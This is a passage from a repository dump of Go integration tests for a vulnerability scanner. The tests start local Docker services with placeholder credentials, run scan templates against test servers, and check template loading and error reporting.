{\n\t\t\treturn nil\n\t\t} else {\n\t\t\terrs = append(errs, err)\n\t\t}\n\t}\n\treturn multierr.Combine(errs...)\n}\n\ntype javascriptMySQLConnect struct{}\n\nfunc (j *javascriptMySQLConnect) Execute(filePath string) error {\n\tif mysqlResource == nil || pool == nil {\n\t\t// skip test as mysql is not running\n\t\treturn nil\n\t}\n\ttempPort := mysqlResource.GetPort(\"3306/tcp\")\n\tfinalURL := \"localhost:\" + tempPort\n\tdefer purge(mysqlResource)\n\terrs := []error{}\n\tfor i := 0; i < defaultRetry; i++ {\n\t\tresults := []string{}\n\t\tvar err error\n\t\t_ = pool.Retry(func() error {\n\t\t\t//let mysql server start\n\t\t\ttime.Sleep(5 * time.Second)\n\t\t\tresults, err = testutils.RunNucleiTemplateAndGetResults(filePath, finalURL, debug)\n\t\t\treturn nil\n\t\t})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := expectResultsCount(results, 1); err == nil {\n\t\t\treturn nil\n\t\t} else {\n\t\t\terrs = append(errs, err)\n\t\t}\n\t}\n\treturn multierr.Combine(errs...)\n}\n\ntype javascriptMultiPortsSSH struct{}\n\nfunc (j *javascriptMultiPortsSSH) Execute(filePath string) error {\n\t// use scanme.sh as target to ensure we match on the 2nd default port 22\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"scanme.sh\", debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 1)\n}\n\ntype javascriptNoPortArgs struct{}\n\nfunc (j *javascriptNoPortArgs) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"yo.dawg\", debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 1)\n}\n\ntype javascriptRsyncTest struct{}\n\nfunc (j *javascriptRsyncTest) Execute(filePath string) error {\n\tif rsyncResource == nil || pool == nil {\n\t\t// skip test as rsync is not running\n\t\treturn nil\n\t}\n\ttempPort := rsyncResource.GetPort(\"873/tcp\")\n\tfinalURL := \"localhost:\" + tempPort\n\tdefer purge(rsyncResource)\n\terrs := []error{}\n\tfor i := 0; i < defaultRetry; i++ {\n\t\tresults := []string{}\n\t\tvar err error\n\t\t_ = pool.Retry(func() error {\n\t\t\t//let rsync server start\n\t\t\ttime.Sleep(3 * time.Second)\n\t\t\tresults, err = testutils.RunNucleiTemplateAndGetResults(filePath, finalURL, debug)\n\t\t\treturn nil\n\t\t})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := expectResultsCount(results, 1); err == nil {\n\t\t\treturn nil\n\t\t} else {\n\t\t\terrs = append(errs, err)\n\t\t}\n\t}\n\treturn multierr.Combine(errs...)\n}\n\ntype javascriptTelnetAuthTest struct{}\n\nfunc (j *javascriptTelnetAuthTest) Execute(filePath string) error {\n\tif telnetResource == nil || pool == nil {\n\t\t// skip test as telnet is not running\n\t\treturn nil\n\t}\n\ttempPort := telnetResource.GetPort(\"23/tcp\")\n\tfinalURL := \"localhost:\" + tempPort\n\tdefer purge(telnetResource)\n\terrs := []error{}\n\tfor i := 0; i < defaultRetry; i++ {\n\t\tresults := []string{}\n\t\tvar err error\n\t\t_ = pool.Retry(func() error {\n\t\t\t//let telnet server start\n\t\t\ttime.Sleep(3 * time.Second)\n\t\t\tresults, err = testutils.RunNucleiTemplateAndGetResults(filePath, finalURL, debug)\n\t\t\treturn nil\n\t\t})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := expectResultsCount(results, 1); err == nil {\n\t\t\treturn nil\n\t\t} else {\n\t\t\terrs = append(errs, err)\n\t\t}\n\t}\n\treturn multierr.Combine(errs...)\n}\n\n// purge any given resource if it is not nil\nfunc purge(resource *dockertest.Resource) {\n\tif resource != nil && pool != nil {\n\t\tcontainerName := resource.Container.Name\n\t\t_ = pool.Client.StopContainer(resource.Container.ID, 0)\n\t\terr := pool.Purge(resource)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Could not purge resource: %s\", err)\n\t\t}\n\t\t_ = pool.RemoveContainerByName(containerName)\n\t}\n}\n\nfunc init() {\n\t// uses a sensible default on windows (tcp/http) and linux/osx (socket)\n\tpool, err := dockertest.NewPool(\"\")\n\tif err != nil {\n\t\tlog.Printf(\"something went wrong with dockertest: %s\", err)\n\t\treturn\n\t}\n\n\t// uses pool to try to connect to Docker\n\terr = pool.Client.Ping()\n\tif err != nil {\n\t\tlog.Printf(\"Could not connect to Docker: %s\", err)\n\t}\n\n\t// setup a temporary redis instance\n\tredisResource, err = pool.RunWithOptions(&dockertest.RunOptions{\n\t\tRepository: \"redis\",\n\t\tTag:        \"latest\",\n\t\tCmd:        []string{\"redis-server\", \"--requirepass\", \"iamadmin\"},\n\t\tPlatform:   \"linux/amd64\",\n\t})\n\tif err != nil {\n\t\tlog.Printf(\"Could not start resource: %s\", err)\n\t\treturn\n\t}\n\t// by default expire after 30 sec\n\tif err := redisResource.Expire(30); err != nil {\n\t\tlog.Printf(\"Could not expire resource: %s\", err)\n\t}\n\n\t// setup a temporary ssh server\n\tsshResource, err = pool.RunWithOptions(&dockertest.RunOptions{\n\t\tRepository: \"lscr.io/linuxserver/openssh-server\",\n\t\tTag:        \"latest\",\n\t\tEnv: []string{\n\t\t\t\"PUID=1000\",\n\t\t\t\"PGID=1000\",\n\t\t\t\"TZ=Etc/UTC\",\n\t\t\t\"PASSWORD_ACCESS=true\",\n\t\t\t\"USER_NAME=admin\",\n\t\t\t\"USER_PASSWORD=admin\",\n\t\t},\n\t\tPlatform: \"linux/amd64\",\n\t})\n\tif err != nil {\n\t\tlog.Printf(\"Could not start resource: %s\", err)\n\t\treturn\n\t}\n\t// by default expire after 30 sec\n\tif err := sshResource.Expire(30); err != nil {\n\t\tlog.Printf(\"Could not expire resource: %s\", err)\n\t}\n\n\t// setup a temporary oracle instance\n\toracleResource, err = pool.RunWithOptions(&dockertest.RunOptions{\n\t\tRepository: \"gvenzl/oracle-xe\",\n\t\tTag:        \"latest\",\n\t\tEnv: []string{\n\t\t\t\"ORACLE_PASSWORD=mysecret\",\n\t\t},\n\t\tPlatform: \"linux/amd64\",\n\t})\n\tif err != nil {\n\t\tlog.Printf(\"Could not start Oracle resource: %s\", err)\n\t\treturn\n\t}\n\n\t// by default expire after 30 sec\n\tif err := oracleResource.Expire(30); err != nil {\n\t\tlog.Printf(\"Could not expire Oracle resource: %s\", err)\n\t}\n\n\t// setup a temporary vnc server\n\tvncResource, err = pool.RunWithOptions(&dockertest.RunOptions{\n\t\tRepository: \"dorowu/ubuntu-desktop-lxde-vnc\",\n\t\tTag:        \"latest\",\n\t\tEnv: []string{\n\t\t\t\"VNC_PASSWORD=mysecret\",\n\t\t},\n\t\tPlatform: \"linux/amd64\",\n\t})\n\tif err != nil {\n\t\tlog.Printf(\"Could not start resource: %s\", err)\n\t\treturn\n\t}\n\t// by default expire after 30 sec\n\tif err := vncResource.Expire(30); err != nil {\n\t\tlog.Printf(\"Could not expire resource: %s\", err)\n\t}\n\n\t// setup a temporary postgres instance\n\tpostgresResource, err = pool.RunWithOptions(&dockertest.RunOptions{\n\t\tRepository: \"postgres\",\n\t\tTag:        \"latest\",\n\t\tEnv: []string{\n\t\t\t\"POSTGRES_PASSWORD=postgres\",\n\t\t\t\"POSTGRES_USER=postgres\",\n\t\t},\n\t\tPlatform: \"linux/amd64\",\n\t})\n\tif err != nil {\n\t\tlog.Printf(\"Could not start postgres resource: %s\", err)\n\t\treturn\n\t}\n\t// by default expire after 30 sec\n\tif err := postgresResource.Expire(30); err != nil {\n\t\tlog.Printf(\"Could not expire postgres resource: %s\", err)\n\t}\n\n\t// setup a temporary mysql instance\n\tmysqlResource, err = pool.RunWithOptions(&dockertest.RunOptions{\n\t\tRepository: \"mysql\",\n\t\tTag:        \"latest\",\n\t\tEnv: []string{\n\t\t\t\"MYSQL_ROOT_PASSWORD=secret\",\n\t\t},\n\t\tPlatform: \"linux/amd64\",\n\t})\n\tif err != nil {\n\t\tlog.Printf(\"Could not start mysql resource: %s\", err)\n\t\treturn\n\t}\n\t// by default expire after 30 sec\n\tif err := mysqlResource.Expire(30); err != nil {\n\t\tlog.Printf(\"Could not expire mysql resource: %s\", err)\n\t}\n\n\t// setup a temporary rsync server\n\trsyncResource, err = pool.RunWithOptions(&dockertest.RunOptions{\n\t\tRepository: \"alpine\",\n\t\tTag:        \"latest\",\n\t\tCmd:        []string{\"sh\", \"-c\", \"apk add --no-cache rsync shadow && useradd -m rsyncuser && echo 'rsyncuser:mysecret' | chpasswd && echo 'rsyncuser:MySecret123' > /etc/rsyncd.secrets && chmod 600 /etc/rsyncd.secrets && echo -e '[data]\\\\n  path = /data\\\\n  comment = Local Rsync Share\\\\n  read only = false\\\\n  auth users = rsyncuser\\\\n  secrets file = /etc/rsyncd.secrets' > /etc/rsyncd.conf && mkdir -p /data && exec rsync --daemon --no-detach --config=/etc/rsyncd.conf\"},\n\t\tPlatform:   \"linux/amd64\",\n\t})\n\tif err != nil {\n\t\tlog.Printf(\"Could not start Rsync resource: %s\", err)\n\t\treturn\n\t}\n\t// by default expire after 30 sec\n\tif err := rsyncResource.Expire(30); err != nil {\n\t\tlog.Printf(\"Could not expire Rsync resource: %s\", err)\n\t}\n\n\t// setup a temporary telnet server\n\t// username: dev\n\t// password: mysecret\n\ttelnetResource, err = pool.RunWithOptions(&dockertest.RunOptions{\n\t\tRepository: \"alpine\",\n\t\tTag:        \"latest\",\n\t\tCmd:        []string{\"sh\", \"-c\", \"apk add --no-cache busybox-extras shadow && useradd -m dev && echo 'dev:mysecret' | chpasswd && exec /usr/sbin/telnetd -F -p 23 -l /bin/login\"},\n\t\tPlatform:   \"linux/amd64\",\n\t})\n\tif err != nil {\n\t\tlog.Printf(\"Could not start Telnet resource: %s\", err)\n\t\treturn\n\t}\n\t// by default expire after 30 sec\n\tif err := telnetResource.Expire(30); err != nil {\n\t\tlog.Printf(\"Could not expire Telnet resource: %s\", err)\n\t}\n}\n"
  },
  {
    "path": "cmd/integration-test/library.go",
    "content": "package main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"path\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/julienschmidt/httprouter\"\n\t\"github.com/logrusorgru/aurora\"\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/goflags\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/disk\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/loader\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/core\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/provider\"\n\tparsers \"github.com/projectdiscovery/nuclei/v3/pkg/loader/workflow\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/hosterrorscache\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/interactsh\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolinit\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/ratelimit\"\n)\n\nvar libraryTestcases = []TestCaseInfo{\n\t{Path: \"library/test.yaml\", TestCase: &goIntegrationTest{}},\n\t{Path: \"library/test.json\", TestCase: &goIntegrationTest{}},\n}\n\ntype goIntegrationTest struct{}\n\n// Execute executes a test case and returns an error if occurred\n//\n// Execute the docs at ../DESIGN.md if the code stops working for integration.\nfunc (h *goIntegrationTest) Execute(templatePath string) error {\n\trouter := httprouter.New()\n\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprintf(w, \"This is test matcher text\")\n\t\tif strings.EqualFold(r.Header.Get(\"test\"), \"nuclei\") {\n\t\t\t_, _ = fmt.Fprintf(w, \"This is test headers matcher text\")\n\t\t}\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := executeNucleiAsLibrary(templatePath, ts.URL)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 1)\n}\n\n// executeNucleiAsLibrary contains an example\nfunc executeNucleiAsLibrary(templatePath, templateURL string) ([]string, error) {\n\tcache := hosterrorscache.New(30, hosterrorscache.DefaultMaxHostsCount, nil)\n\tdefer cache.Close()\n\n\tdefaultOpts := types.DefaultOptions()\n\tdefaultOpts.ExecutionId = \"test\"\n\tdefaultOpts.Logger = gologger.DefaultLogger\n\n\tmockProgress := &testutils.MockProgressClient{}\n\treportingClient, err := reporting.New(&reporting.Options{ExecutionId: defaultOpts.ExecutionId}, \"\", false)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer reportingClient.Close()\n\n\t_ = protocolstate.Init(defaultOpts)\n\t_ = protocolinit.Init(defaultOpts)\n\n\tdefer protocolstate.Close(defaultOpts.ExecutionId)\n\n\tdefaultOpts.Templates = goflags.StringSlice{templatePath}\n\tdefaultOpts.ExcludeTags = config.ReadIgnoreFile().Tags\n\n\toutputWriter := testutils.NewMockOutputWriter(defaultOpts.OmitTemplate)\n\tvar results []string\n\toutputWriter.WriteCallback = func(event *output.ResultEvent) {\n\t\tresults = append(results, fmt.Sprintf(\"%v\\n\", event))\n\t}\n\n\tinteractOpts := interactsh.DefaultOptions(outputWriter, reportingClient, mockProgress)\n\tinteractClient, err := interactsh.New(interactOpts)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not create interact client\")\n\t}\n\tdefer interactClient.Close()\n\n\thome, _ := os.UserHomeDir()\n\tcatalog := disk.NewCatalog(path.Join(home, \"nuclei-templates\"))\n\tratelimiter := ratelimit.New(context.Background(), 150, time.Second)\n\tdefer ratelimiter.Stop()\n\n\texecuterOpts := &protocols.ExecutorOptions{\n\t\tOutput:          outputWriter,\n\t\tOptions:         defaultOpts,\n\t\tProgress:        mockProgress,\n\t\tCatalog:         catalog,\n\t\tIssuesClient:    reportingClient,\n\t\tRateLimiter:     ratelimiter,\n\t\tInteractsh:      interactClient,\n\t\tHostErrorsCache: cache,\n\t\tColorizer:       aurora.NewAurora(true),\n\t\tResumeCfg:       types.NewResumeCfg(),\n\t\tParser:          templates.NewParser(),\n\t}\n\tengine := core.New(defaultOpts)\n\tengine.SetExecuterOptions(executerOpts)\n\n\tworkflowLoader, err := parsers.NewLoader(executerOpts)\n\tif err != nil {\n\t\tlog.Fatalf(\"Could not create workflow loader: %s\\n\", err)\n\t}\n\texecuterOpts.WorkflowLoader = workflowLoader\n\n\tstore, err := loader.New(loader.NewConfig(defaultOpts, catalog, executerOpts))\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not create loader\")\n\t}\n\tif err := store.Load(); err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not load templates\")\n\t}\n\n\t_ = engine.Execute(context.Background(), store.Templates(), provider.NewSimpleInputProviderWithUrls(defaultOpts.ExecutionId, templateURL))\n\tengine.WorkPool().Wait() // Wait for the scan to finish\n\n\treturn results, nil\n}\n"
  },
  {
    "path": "cmd/integration-test/loader.go",
    "content": "package main\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/julienschmidt/httprouter\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tpermissionutil \"github.com/projectdiscovery/utils/permission\"\n)\n\nvar loaderTestcases = []TestCaseInfo{\n\t{Path: \"loader/template-list.yaml\", TestCase: &remoteTemplateList{}},\n\t{Path: \"loader/workflow-list.yaml\", TestCase: &remoteWorkflowList{}},\n\t{Path: \"loader/excluded-template.yaml\", TestCase: &excludedTemplate{}},\n\t{Path: \"loader/nonexistent-template-list.yaml\", TestCase: &nonExistentTemplateList{}},\n\t{Path: \"loader/nonexistent-workflow-list.yaml\", TestCase: &nonExistentWorkflowList{}},\n\t{Path: \"loader/template-list-not-allowed.yaml\", TestCase: &remoteTemplateListNotAllowed{}},\n\t{Path: \"loader/load-template-with-id\", TestCase: &loadTemplateWithID{}},\n}\n\ntype remoteTemplateList struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *remoteTemplateList) Execute(templateList string) error {\n\trouter := httprouter.New()\n\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprintf(w, \"This is test matcher text\")\n\t\tif strings.EqualFold(r.Header.Get(\"test\"), \"nuclei\") {\n\t\t\t_, _ = fmt.Fprintf(w, \"This is test headers matcher text\")\n\t\t}\n\t})\n\n\trouter.GET(\"/template_list\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tfile, err := os.ReadFile(templateList)\n\t\tif err != nil {\n\t\t\tw.WriteHeader(500)\n\t\t}\n\t\t_, err = w.Write(file)\n\t\tif err != nil {\n\t\t\tw.WriteHeader(500)\n\t\t}\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tconfigFileData := `remote-template-domain: [ \"` + ts.Listener.Addr().String() + `\" ]`\n\terr := os.WriteFile(\"test-config.yaml\", []byte(configFileData), permissionutil.ConfigFilePermission)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\t_ = os.Remove(\"test-config.yaml\")\n\t}()\n\n\tresults, err := testutils.RunNucleiBareArgsAndGetResults(debug, nil, \"-target\", ts.URL, \"-template-url\", ts.URL+\"/template_list\", \"-config\", \"test-config.yaml\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 2)\n}\n\ntype excludedTemplate struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *excludedTemplate) Execute(templateList string) error {\n\trouter := httprouter.New()\n\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprintf(w, \"This is test matcher text\")\n\t\tif strings.EqualFold(r.Header.Get(\"test\"), \"nuclei\") {\n\t\t\t_, _ = fmt.Fprintf(w, \"This is test headers matcher text\")\n\t\t}\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiBareArgsAndGetResults(debug, nil, \"-target\", ts.URL, \"-t\", templateList, \"-include-templates\", templateList)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype remoteTemplateListNotAllowed struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *remoteTemplateListNotAllowed) Execute(templateList string) error {\n\trouter := httprouter.New()\n\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprintf(w, \"This is test matcher text\")\n\t\tif strings.EqualFold(r.Header.Get(\"test\"), \"nuclei\") {\n\t\t\t_, _ = fmt.Fprintf(w, \"This is test headers matcher text\")\n\t\t}\n\t})\n\n\trouter.GET(\"/template_list\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tfile, err := os.ReadFile(templateList)\n\t\tif err != nil {\n\t\t\tw.WriteHeader(500)\n\t\t}\n\t\t_, err = w.Write(file)\n\t\tif err != nil {\n\t\t\tw.WriteHeader(500)\n\t\t}\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\t_, err := testutils.RunNucleiBareArgsAndGetResults(debug, nil, \"-target\", ts.URL, \"-template-url\", ts.URL+\"/template_list\")\n\tif err == nil {\n\t\treturn fmt.Errorf(\"expected error for not allowed remote template list url\")\n\t}\n\n\treturn nil\n\n}\n\ntype remoteWorkflowList struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *remoteWorkflowList) Execute(workflowList string) error {\n\trouter := httprouter.New()\n\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprintf(w, \"This is test matcher text\")\n\t\tif strings.EqualFold(r.Header.Get(\"test\"), \"nuclei\") {\n\t\t\t_, _ = fmt.Fprintf(w, \"This is test headers matcher text\")\n\t\t}\n\t})\n\n\trouter.GET(\"/workflow_list\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tfile, err := os.ReadFile(workflowList)\n\t\tif err != nil {\n\t\t\tw.WriteHeader(500)\n\t\t}\n\t\t_, err = w.Write(file)\n\t\tif err != nil {\n\t\t\tw.WriteHeader(500)\n\t\t}\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tconfigFileData := `remote-template-domain: [ \"` + ts.Listener.Addr().String() + `\" ]`\n\terr := os.WriteFile(\"test-config.yaml\", []byte(configFileData), permissionutil.ConfigFilePermission)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\t_ = os.Remove(\"test-config.yaml\")\n\t}()\n\n\tresults, err := testutils.RunNucleiBareArgsAndGetResults(debug, nil, \"-target\", ts.URL, \"-workflow-url\", ts.URL+\"/workflow_list\", \"-config\", \"test-config.yaml\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 3)\n}\n\ntype nonExistentTemplateList struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *nonExistentTemplateList) Execute(nonExistingTemplateList string) error {\n\trouter := httprouter.New()\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tconfigFileData := `remote-template-domain: [ \"` + ts.Listener.Addr().String() + `\" ]`\n\terr := os.WriteFile(\"test-config.yaml\", []byte(configFileData), permissionutil.ConfigFilePermission)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\t_ = os.Remove(\"test-config.yaml\")\n\t}()\n\n\t_, err = testutils.RunNucleiBareArgsAndGetResults(debug, nil, \"-target\", ts.URL, \"-template-url\", ts.URL+\"/404\", \"-config\", \"test-config.yaml\")\n\tif err == nil {\n\t\treturn fmt.Errorf(\"expected error for nonexisting workflow url\")\n\t}\n\n\treturn nil\n}\n\ntype nonExistentWorkflowList struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *nonExistentWorkflowList) Execute(nonExistingWorkflowList string) error {\n\trouter := httprouter.New()\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tconfigFileData := `remote-template-domain: [ \"` + ts.Listener.Addr().String() + `\" ]`\n\terr := os.WriteFile(\"test-config.yaml\", []byte(configFileData), permissionutil.ConfigFilePermission)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\t_ = os.Remove(\"test-config.yaml\")\n\t}()\n\n\t_, err = testutils.RunNucleiBareArgsAndGetResults(debug, nil, \"-target\", ts.URL, \"-workflow-url\", ts.URL+\"/404\", \"-config\", \"test-config.yaml\")\n\tif err == nil {\n\t\treturn fmt.Errorf(\"expected error for nonexisting workflow url\")\n\t}\n\n\treturn nil\n}\n\ntype loadTemplateWithID struct{}\n\nfunc (h *loadTemplateWithID) Execute(nooop string) error {\n\tresults, err := testutils.RunNucleiBareArgsAndGetResults(debug, nil, \"-target\", \"scanme.sh\", \"-id\", \"self-signed-ssl\")\n\tif err != nil {\n\t\treturn errkit.Wrap(err, \"failed to load template with id\")\n\t}\n\treturn expectResultsCount(results, 1)\n}\n"
  },
  {
    "path": "cmd/integration-test/matcher-status.go",
    "content": "package main\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\n\t\"github.com/julienschmidt/httprouter\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n)\n\nvar matcherStatusTestcases = []TestCaseInfo{\n\t{Path: \"protocols/http/get.yaml\", TestCase: &httpNoAccess{}},\n\t{Path: \"protocols/network/net-https.yaml\", TestCase: &networkNoAccess{}},\n\t{Path: \"protocols/headless/headless-basic.yaml\", TestCase: &headlessNoAccess{}},\n\t{Path: \"protocols/javascript/net-https.yaml\", TestCase: &javascriptNoAccess{}},\n\t{Path: \"protocols/websocket/basic.yaml\", TestCase: &websocketNoAccess{}},\n\t{Path: \"protocols/dns/a.yaml\", TestCase: &dnsNoAccess{}},\n\t{Path: \"protocols/http/matcher-status-and.yaml,protocols/http/matcher-status-and-cluster.yaml\", TestCase: &httpMatcherStatusAnd{}},\n}\n\ntype httpNoAccess struct{}\n\nfunc (h *httpNoAccess) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"trust_me_bro.real\", debug, \"-ms\", \"-j\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tevent := &output.ResultEvent{}\n\t_ = json.Unmarshal([]byte(results[0]), event)\n\texpectedError := \"no address found for host\"\n\tif !strings.Contains(event.Error, expectedError) {\n\t\treturn fmt.Errorf(\"unexpected result: expecting \\\"%s\\\" error but got \\\"%s\\\"\", expectedError, event.Error)\n\t}\n\treturn nil\n}\n\ntype networkNoAccess struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *networkNoAccess) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"trust_me_bro.real\", debug, \"-ms\", \"-j\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tevent := &output.ResultEvent{}\n\t_ = json.Unmarshal([]byte(results[0]), event)\n\n\tif event.Error != \"no address found for host\" {\n\t\treturn fmt.Errorf(\"unexpected result: expecting \\\"no address found for host\\\" error but got \\\"%s\\\"\", event.Error)\n\t}\n\treturn nil\n}\n\ntype headlessNoAccess struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *headlessNoAccess) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"trust_me_bro.real\", debug, \"-headless\", \"-ms\", \"-j\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tevent := &output.ResultEvent{}\n\t_ = json.Unmarshal([]byte(results[0]), event)\n\n\tif event.Error == \"\" {\n\t\treturn fmt.Errorf(\"unexpected result: expecting an error but got \\\"%s\\\"\", event.Error)\n\t}\n\treturn nil\n}\n\ntype javascriptNoAccess struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *javascriptNoAccess) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"trust_me_bro.real\", debug, \"-ms\", \"-j\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tevent := &output.ResultEvent{}\n\t_ = json.Unmarshal([]byte(results[0]), event)\n\n\tif event.Error == \"\" {\n\t\treturn fmt.Errorf(\"unexpected result: expecting an error but got \\\"%s\\\"\", event.Error)\n\t}\n\treturn nil\n}\n\ntype websocketNoAccess struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *websocketNoAccess) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"ws://trust_me_bro.real\", debug, \"-ms\", \"-j\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tevent := &output.ResultEvent{}\n\t_ = json.Unmarshal([]byte(results[0]), event)\n\n\tif event.Error == \"\" {\n\t\treturn fmt.Errorf(\"unexpected result: expecting an error but got \\\"%s\\\"\", event.Error)\n\t}\n\treturn nil\n}\n\ntype dnsNoAccess struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *dnsNoAccess) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"trust_me_bro.real\", debug, \"-ms\", \"-j\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tevent := &output.ResultEvent{}\n\t_ = json.Unmarshal([]byte(results[0]), event)\n\n\tif event.Error == \"\" {\n\t\treturn fmt.Errorf(\"unexpected result: expecting an error but got \\\"%s\\\"\", event.Error)\n\t}\n\treturn nil\n}\n\ntype httpMatcherStatusAnd struct{}\n\n// Execute verifies that clustered templates with matchers-condition: and\n// produce failure events when -matcher-status is enabled.\nfunc (h *httpMatcherStatusAnd) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = w.Write([]byte(\"ok\"))\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tfiles := strings.Split(filePath, \",\")\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(files[0], ts.URL, debug, \"-t\", files[1], \"-ms\", \"-j\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tif len(results) != 2 {\n\t\treturn fmt.Errorf(\"unexpected number of results: %d (expected 2)\", len(results))\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "cmd/integration-test/multi.go",
